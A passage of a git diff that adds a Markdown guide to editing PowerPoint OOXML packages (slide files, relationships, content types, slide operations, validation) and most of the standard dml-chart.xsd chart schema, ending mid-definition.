Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/> +<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image1.png"/> +``` + +**`[Content_Types].xml`:** +```xml +<Default Extension="png" ContentType="image/png"/> +<Default Extension="jpg" ContentType="image/jpeg"/> +<Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/> +``` + +**`ppt/presentation.xml`:** +```xml +<p:sldIdLst> + <p:sldId id="256" r:id="rId1"/> + <p:sldId id="257" r:id="rId2"/> +</p:sldIdLst> +``` + +**`docProps/app.xml`:** Update slide count and statistics +```xml +<Slides>2</Slides> +<Paragraphs>10</Paragraphs> +<Words>50</Words> +``` + +## Slide Operations + +### Adding a New Slide +When adding a slide to the end of the presentation: + +1. **Create the slide file** (`ppt/slides/slideN.xml`) +2. **Update `[Content_Types].xml`**: Add Override for the new slide +3. **Update `ppt/_rels/presentation.xml.rels`**: Add relationship for the new slide +4. **Update `ppt/presentation.xml`**: Add slide ID to `<p:sldIdLst>` +5. **Create slide relationships** (`ppt/slides/_rels/slideN.xml.rels`) if needed +6. **Update `docProps/app.xml`**: Increment slide count and update statistics (if present) + +### Duplicating a Slide +1. Copy the source slide XML file with a new name +2. Update all IDs in the new slide to be unique +3. Follow the "Adding a New Slide" steps above +4. **CRITICAL**: Remove or update any notes slide references in `_rels` files +5. Remove references to unused media files + +### Reordering Slides +1. **Update `ppt/presentation.xml`**: Reorder `<p:sldId>` elements in `<p:sldIdLst>` +2. The order of `<p:sldId>` elements determines slide order +3. Keep slide IDs and relationship IDs unchanged + +Example: +```xml +<!-- Original order --> +<p:sldIdLst> + <p:sldId id="256" r:id="rId2"/> + <p:sldId id="257" r:id="rId3"/> + <p:sldId id="258" r:id="rId4"/> +</p:sldIdLst> + +<!-- After moving slide 3 to position 2 --> +<p:sldIdLst> + <p:sldId id="256" r:id="rId2"/> + <p:sldId id="258" r:id="rId4"/> + <p:sldId id="257" r:id="rId3"/> +</p:sldIdLst> +``` + +### Deleting a Slide +1. **Remove from `ppt/presentation.xml`**: Delete the `<p:sldId>` entry +2. **Remove from `ppt/_rels/presentation.xml.rels`**: Delete the relationship +3. **Remove from `[Content_Types].xml`**: Delete the Override entry +4. **Delete files**: Remove `ppt/slides/slideN.xml` and `ppt/slides/_rels/slideN.xml.rels` +5. **Update `docProps/app.xml`**: Decrement slide count and update statistics +6. **Clean up unused media**: Remove orphaned images from `ppt/media/` + +Note: Don't renumber remaining slides - keep their original IDs and filenames. + + +## Common Errors to Avoid + +- **Encodings**: Escape unicode characters in ASCII content: `"` becomes `“` +- **Images**: Add to `ppt/media/` and update relationship files +- **Lists**: Omit bullets from list headers +- **IDs**: Use valid hexadecimal values for UUIDs +- **Themes**: Check all themes in `theme` directory for colors + +## Validation Checklist for Template-Based Presentations + +### Before Packing, Always: +- **Clean unused resources**: Remove unreferenced media, fonts, and notes directories +- **Fix Content_Types.xml**: Declare ALL slides, layouts, and themes present in the package +- **Fix relationship IDs**: + - Remove font embed references if not using embedded fonts +- **Remove broken references**: Check all `_rels` files for references to deleted resources + +### Common Template Duplication Pitfalls: +- Multiple slides referencing the same notes slide after duplication +- Image/media references from template slides that no longer exist +- Font embedding references when fonts aren't included +- Missing slideLayout declarations for layouts 12-25 +- docProps directory may not unpack - this is optional \ No newline at end of file diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd new file mode 100644 index 00000000..6454ef9a --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd @@ -0,0 +1,1499 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" + xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + xmlns="http://schemas.openxmlformats.org/drawingml/2006/chart" + xmlns:cdr="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" + xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/chart" + elementFormDefault="qualified" attributeFormDefault="unqualified" blockDefault="#all"> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + schemaLocation="shared-relationshipReference.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" + schemaLocation="dml-main.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" + schemaLocation="dml-chartDrawing.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + schemaLocation="shared-commonSimpleTypes.xsd"/> + <xsd:complexType name="CT_Boolean"> + <xsd:attribute name="val" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_Double"> + <xsd:attribute name="val" type="xsd:double" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_UnsignedInt"> + <xsd:attribute name="val" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_RelId"> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Extension"> + <xsd:sequence> + <xsd:any processContents="lax"/> + </xsd:sequence> + <xsd:attribute name="uri" type="xsd:token"/> + </xsd:complexType> + <xsd:complexType name="CT_ExtensionList"> + <xsd:sequence> + <xsd:element name="ext" type="CT_Extension" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_NumVal"> + <xsd:sequence> + <xsd:element name="v" type="s:ST_Xstring" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="idx" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="formatCode" type="s:ST_Xstring" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_NumData"> + <xsd:sequence> + <xsd:element name="formatCode" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ptCount" type="CT_UnsignedInt" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pt" type="CT_NumVal" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_NumRef"> + <xsd:sequence> + <xsd:element name="f" type="xsd:string" minOccurs="1" maxOccurs="1"/> + <xsd:element name="numCache" type="CT_NumData" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_NumDataSource"> + <xsd:sequence> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="numRef" type="CT_NumRef" minOccurs="1" maxOccurs="1"/> + <xsd:element name="numLit" type="CT_NumData" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_StrVal"> + <xsd:sequence> + <xsd:element name="v" type="s:ST_Xstring" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="idx" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_StrData"> + <xsd:sequence> + <xsd:element name="ptCount" type="CT_UnsignedInt" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pt" type="CT_StrVal" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_StrRef"> + <xsd:sequence> + <xsd:element name="f" type="xsd:string" minOccurs="1" maxOccurs="1"/> + <xsd:element name="strCache" type="CT_StrData" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Tx"> + <xsd:sequence> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="strRef" type="CT_StrRef" minOccurs="1" maxOccurs="1"/> + <xsd:element name="rich" type="a:CT_TextBody" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TextLanguageID"> + <xsd:attribute name="val" type="s:ST_Lang" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Lvl"> + <xsd:sequence> + <xsd:element name="pt" type="CT_StrVal" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_MultiLvlStrData"> + <xsd:sequence> + <xsd:element name="ptCount" type="CT_UnsignedInt" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lvl" type="CT_Lvl" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_MultiLvlStrRef"> + <xsd:sequence> + <xsd:element name="f" type="xsd:string" minOccurs="1" maxOccurs="1"/> + <xsd:element name="multiLvlStrCache" type="CT_MultiLvlStrData" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_AxDataSource"> + <xsd:sequence> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="multiLvlStrRef" type="CT_MultiLvlStrRef" minOccurs="1" maxOccurs="1"/> + <xsd:element name="numRef" type="CT_NumRef" minOccurs="1" maxOccurs="1"/> + <xsd:element name="numLit" type="CT_NumData" minOccurs="1" maxOccurs="1"/> + <xsd:element name="strRef" type="CT_StrRef" minOccurs="1" maxOccurs="1"/> + <xsd:element name="strLit" type="CT_StrData" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SerTx"> + <xsd:sequence> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="strRef" type="CT_StrRef" minOccurs="1" maxOccurs="1"/> + <xsd:element name="v" type="s:ST_Xstring" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_LayoutTarget"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="inner"/> + <xsd:enumeration value="outer"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_LayoutTarget"> + <xsd:attribute name="val" type="ST_LayoutTarget" default="outer"/> + </xsd:complexType> + <xsd:simpleType name="ST_LayoutMode"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="edge"/> + <xsd:enumeration value="factor"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_LayoutMode"> + <xsd:attribute name="val" type="ST_LayoutMode" default="factor"/> + </xsd:complexType> + <xsd:complexType name="CT_ManualLayout"> + <xsd:sequence> + <xsd:element name="layoutTarget" type="CT_LayoutTarget" minOccurs="0" maxOccurs="1"/> + <xsd:element name="xMode" type="CT_LayoutMode" minOccurs="0" maxOccurs="1"/> + <xsd:element name="yMode" type="CT_LayoutMode" minOccurs="0" maxOccurs="1"/> + <xsd:element name="wMode" type="CT_LayoutMode" minOccurs="0" maxOccurs="1"/> + <xsd:element name="hMode" type="CT_LayoutMode" minOccurs="0" maxOccurs="1"/> + <xsd:element name="x" type="CT_Double" minOccurs="0" maxOccurs="1"/> + <xsd:element name="y" type="CT_Double" minOccurs="0" maxOccurs="1"/> + <xsd:element name="w" type="CT_Double" minOccurs="0" maxOccurs="1"/> + <xsd:element name="h" type="CT_Double" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Layout"> + <xsd:sequence> + <xsd:element name="manualLayout" type="CT_ManualLayout" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Title"> + <xsd:sequence> + <xsd:element name="tx" type="CT_Tx" minOccurs="0" maxOccurs="1"/> + <xsd:element name="layout" type="CT_Layout" minOccurs="0" maxOccurs="1"/> + <xsd:element name="overlay" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txPr" type="a:CT_TextBody" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_RotX"> + <xsd:restriction base="xsd:byte"> + <xsd:minInclusive value="-90"/> + <xsd:maxInclusive value="90"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_RotX"> + <xsd:attribute name="val" type="ST_RotX" default="0"/> + </xsd:complexType> + <xsd:simpleType name="ST_HPercent"> + <xsd:union memberTypes="ST_HPercentWithSymbol ST_HPercentUShort"/> + </xsd:simpleType> + <xsd:simpleType name="ST_HPercentWithSymbol"> + <xsd:restriction base="xsd:string"> + <xsd:pattern value="0*(([5-9])|([1-9][0-9])|([1-4][0-9][0-9])|500)%"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_HPercentUShort"> + <xsd:restriction base="xsd:unsignedShort"> + <xsd:minInclusive value="5"/> + <xsd:maxInclusive value="500"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_HPercent"> + <xsd:attribute name="val" type="ST_HPercent" default="100%"/> + </xsd:complexType> + <xsd:simpleType name="ST_RotY"> + <xsd:restriction base="xsd:unsignedShort"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="360"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_RotY"> + <xsd:attribute name="val" type="ST_RotY" default="0"/> + </xsd:complexType> + <xsd:simpleType name="ST_DepthPercent"> + <xsd:union memberTypes="ST_DepthPercentWithSymbol ST_DepthPercentUShort"/> + </xsd:simpleType> + <xsd:simpleType name="ST_DepthPercentWithSymbol"> + <xsd:restriction base="xsd:string"> + <xsd:pattern value="0*(([2-9][0-9])|([1-9][0-9][0-9])|(1[0-9][0-9][0-9])|2000)%"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_DepthPercentUShort"> + <xsd:restriction base="xsd:unsignedShort"> + <xsd:minInclusive value="20"/> + <xsd:maxInclusive value="2000"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_DepthPercent"> + <xsd:attribute name="val" type="ST_DepthPercent" default="100%"/> + </xsd:complexType> + <xsd:simpleType name="ST_Perspective"> + <xsd:restriction base="xsd:unsignedByte"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="240"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Perspective"> + <xsd:attribute name="val" type="ST_Perspective" default="30"/> + </xsd:complexType> + <xsd:complexType name="CT_View3D"> + <xsd:sequence> + <xsd:element name="rotX" type="CT_RotX" minOccurs="0" maxOccurs="1"/> + <xsd:element name="hPercent" type="CT_HPercent" minOccurs="0" maxOccurs="1"/> + <xsd:element name="rotY" type="CT_RotY" minOccurs="0" maxOccurs="1"/> + <xsd:element name="depthPercent" type="CT_DepthPercent" minOccurs="0" maxOccurs="1"/> + <xsd:element name="rAngAx" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="perspective" type="CT_Perspective" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Surface"> + <xsd:sequence> + <xsd:element name="thickness" type="CT_Thickness" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pictureOptions" type="CT_PictureOptions" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_Thickness"> + <xsd:union memberTypes="ST_ThicknessPercent xsd:unsignedInt"/> + </xsd:simpleType> + <xsd:simpleType name="ST_ThicknessPercent"> + <xsd:restriction base="xsd:string"> + <xsd:pattern value="([0-9]+)%"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Thickness"> + <xsd:attribute name="val" type="ST_Thickness" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_DTable"> + <xsd:sequence> + <xsd:element name="showHorzBorder" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="showVertBorder" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="showOutline" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="showKeys" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txPr" type="a:CT_TextBody" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_GapAmount"> + <xsd:union memberTypes="ST_GapAmountPercent ST_GapAmountUShort"/> + </xsd:simpleType> + <xsd:simpleType name="ST_GapAmountPercent"> + <xsd:restriction base="xsd:string"> + <xsd:pattern value="0*(([0-9])|([1-9][0-9])|([1-4][0-9][0-9])|500)%"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_GapAmountUShort"> + <xsd:restriction base="xsd:unsignedShort"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="500"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_GapAmount"> + <xsd:attribute name="val" type="ST_GapAmount" default="150%"/> + </xsd:complexType> + <xsd:simpleType name="ST_Overlap"> + <xsd:union memberTypes="ST_OverlapPercent ST_OverlapByte"/> + </xsd:simpleType> + <xsd:simpleType name="ST_OverlapPercent"> + <xsd:restriction base="xsd:string"> + <xsd:pattern value="(-?0*(([0-9])|([1-9][0-9])|100))%"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_OverlapByte"> + <xsd:restriction base="xsd:byte"> + <xsd:minInclusive value="-100"/> + <xsd:maxInclusive value="100"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Overlap"> + <xsd:attribute name="val" type="ST_Overlap" default="0%"/> + </xsd:complexType> + <xsd:simpleType name="ST_BubbleScale"> + <xsd:union memberTypes="ST_BubbleScalePercent ST_BubbleScaleUInt"/> + </xsd:simpleType> + <xsd:simpleType name="ST_BubbleScalePercent"> + <xsd:restriction base="xsd:string"> + <xsd:pattern value="0*(([0-9])|([1-9][0-9])|([1-2][0-9][0-9])|300)%"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_BubbleScaleUInt"> + <xsd:restriction base="xsd:unsignedInt"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="300"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_BubbleScale"> + <xsd:attribute name="val" type="ST_BubbleScale" default="100%"/> + </xsd:complexType> + <xsd:simpleType name="ST_SizeRepresents"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="area"/> + <xsd:enumeration value="w"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SizeRepresents"> + <xsd:attribute name="val" type="ST_SizeRepresents" default="area"/> + </xsd:complexType> + <xsd:simpleType name="ST_FirstSliceAng"> + <xsd:restriction base="xsd:unsignedShort"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="360"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_FirstSliceAng"> + <xsd:attribute name="val" type="ST_FirstSliceAng" default="0"/> + </xsd:complexType> + <xsd:simpleType name="ST_HoleSize"> + <xsd:union memberTypes="ST_HoleSizePercent ST_HoleSizeUByte"/> + </xsd:simpleType> + <xsd:simpleType name="ST_HoleSizePercent"> + <xsd:restriction base="xsd:string"> + <xsd:pattern value="0*([1-9]|([1-8][0-9])|90)%"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_HoleSizeUByte"> + <xsd:restriction base="xsd:unsignedByte"> + <xsd:minInclusive value="1"/> + <xsd:maxInclusive value="90"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_HoleSize"> + <xsd:attribute name="val" type="ST_HoleSize" default="10%"/> + </xsd:complexType> + <xsd:simpleType name="ST_SplitType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="auto"/> + <xsd:enumeration value="cust"/> + <xsd:enumeration value="percent"/> + <xsd:enumeration value="pos"/> + <xsd:enumeration value="val"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SplitType"> + <xsd:attribute name="val" type="ST_SplitType" default="auto"/> + </xsd:complexType> + <xsd:complexType name="CT_CustSplit"> + <xsd:sequence> + <xsd:element name="secondPiePt" type="CT_UnsignedInt" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_SecondPieSize"> + <xsd:union memberTypes="ST_SecondPieSizePercent ST_SecondPieSizeUShort"/> + </xsd:simpleType> + <xsd:simpleType name="ST_SecondPieSizePercent"> + <xsd:restriction base="xsd:string"> + <xsd:pattern value="0*(([5-9])|([1-9][0-9])|(1[0-9][0-9])|200)%"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_SecondPieSizeUShort"> + <xsd:restriction base="xsd:unsignedShort"> + <xsd:minInclusive value="5"/> + <xsd:maxInclusive value="200"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SecondPieSize"> + <xsd:attribute name="val" type="ST_SecondPieSize" default="75%"/> + </xsd:complexType> + <xsd:complexType name="CT_NumFmt"> + <xsd:attribute name="formatCode" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="sourceLinked" type="xsd:boolean"/> + </xsd:complexType> + <xsd:simpleType name="ST_LblAlgn"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="ctr"/> + <xsd:enumeration value="l"/> + <xsd:enumeration value="r"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_LblAlgn"> + <xsd:attribute name="val" type="ST_LblAlgn" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_DLblPos"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="bestFit"/> + <xsd:enumeration value="b"/> + <xsd:enumeration value="ctr"/> + <xsd:enumeration value="inBase"/> + <xsd:enumeration value="inEnd"/> + <xsd:enumeration value="l"/> + <xsd:enumeration value="outEnd"/> + <xsd:enumeration value="r"/> + <xsd:enumeration value="t"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_DLblPos"> + <xsd:attribute name="val" type="ST_DLblPos" use="required"/> + </xsd:complexType> + <xsd:group name="EG_DLblShared"> + <xsd:sequence> + <xsd:element name="numFmt" type="CT_NumFmt" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txPr" type="a:CT_TextBody" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dLblPos" type="CT_DLblPos" minOccurs="0" maxOccurs="1"/> + <xsd:element name="showLegendKey" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="showVal" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="showCatName" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="showSerName" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="showPercent" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="showBubbleSize" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="separator" type="xsd:string" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:group> + <xsd:group name="Group_DLbl"> + <xsd:sequence> + <xsd:element name="layout" type="CT_Layout" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tx" type="CT_Tx" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_DLblShared" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_DLbl"> + <xsd:sequence> + <xsd:element name="idx" type="CT_UnsignedInt" minOccurs="1" maxOccurs="1"/> + <xsd:choice> + <xsd:element name="delete" type="CT_Boolean" minOccurs="1" maxOccurs="1"/> + <xsd:group ref="Group_DLbl" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="Group_DLbls"> + <xsd:sequence> + <xsd:group ref="EG_DLblShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="showLeaderLines" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="leaderLines" type="CT_ChartLines" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_DLbls"> + <xsd:sequence> + <xsd:element name="dLbl" type="CT_DLbl" minOccurs="0" maxOccurs="unbounded"/> + <xsd:choice> + <xsd:element name="delete" type="CT_Boolean" minOccurs="1" maxOccurs="1"/> + <xsd:group ref="Group_DLbls" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_MarkerStyle"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="circle"/> + <xsd:enumeration value="dash"/> + <xsd:enumeration value="diamond"/> + <xsd:enumeration value="dot"/> + <xsd:enumeration value="none"/> + <xsd:enumeration value="picture"/> + <xsd:enumeration value="plus"/> + <xsd:enumeration value="square"/> + <xsd:enumeration value="star"/> + <xsd:enumeration value="triangle"/> + <xsd:enumeration value="x"/> + <xsd:enumeration value="auto"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_MarkerStyle"> + <xsd:attribute name="val" type="ST_MarkerStyle" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_MarkerSize"> + <xsd:restriction base="xsd:unsignedByte"> + <xsd:minInclusive value="2"/> + <xsd:maxInclusive value="72"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_MarkerSize"> + <xsd:attribute name="val" type="ST_MarkerSize" default="5"/> + </xsd:complexType> + <xsd:complexType name="CT_Marker"> + <xsd:sequence> + <xsd:element name="symbol" type="CT_MarkerStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="size" type="CT_MarkerSize" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DPt"> + <xsd:sequence> + <xsd:element name="idx" type="CT_UnsignedInt" minOccurs="1" maxOccurs="1"/> + <xsd:element name="invertIfNegative" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="marker" type="CT_Marker" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bubble3D" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="explosion" type="CT_UnsignedInt" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pictureOptions" type="CT_PictureOptions" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_TrendlineType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="exp"/> + <xsd:enumeration value="linear"/> + <xsd:enumeration value="log"/> + <xsd:enumeration value="movingAvg"/> + <xsd:enumeration value="poly"/> + <xsd:enumeration value="power"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TrendlineType"> + <xsd:attribute name="val" type="ST_TrendlineType" default="linear"/> + </xsd:complexType> + <xsd:simpleType name="ST_Order"> + <xsd:restriction base="xsd:unsignedByte"> + <xsd:minInclusive value="2"/> + <xsd:maxInclusive value="6"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Order"> + <xsd:attribute name="val" type="ST_Order" default="2"/> + </xsd:complexType> + <xsd:simpleType name="ST_Period"> + <xsd:restriction base="xsd:unsignedInt"> + <xsd:minInclusive value="2"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Period"> + <xsd:attribute name="val" type="ST_Period" default="2"/> + </xsd:complexType> + <xsd:complexType name="CT_TrendlineLbl"> + <xsd:sequence> + <xsd:element name="layout" type="CT_Layout" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tx" type="CT_Tx" minOccurs="0" maxOccurs="1"/> + <xsd:element name="numFmt" type="CT_NumFmt" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" 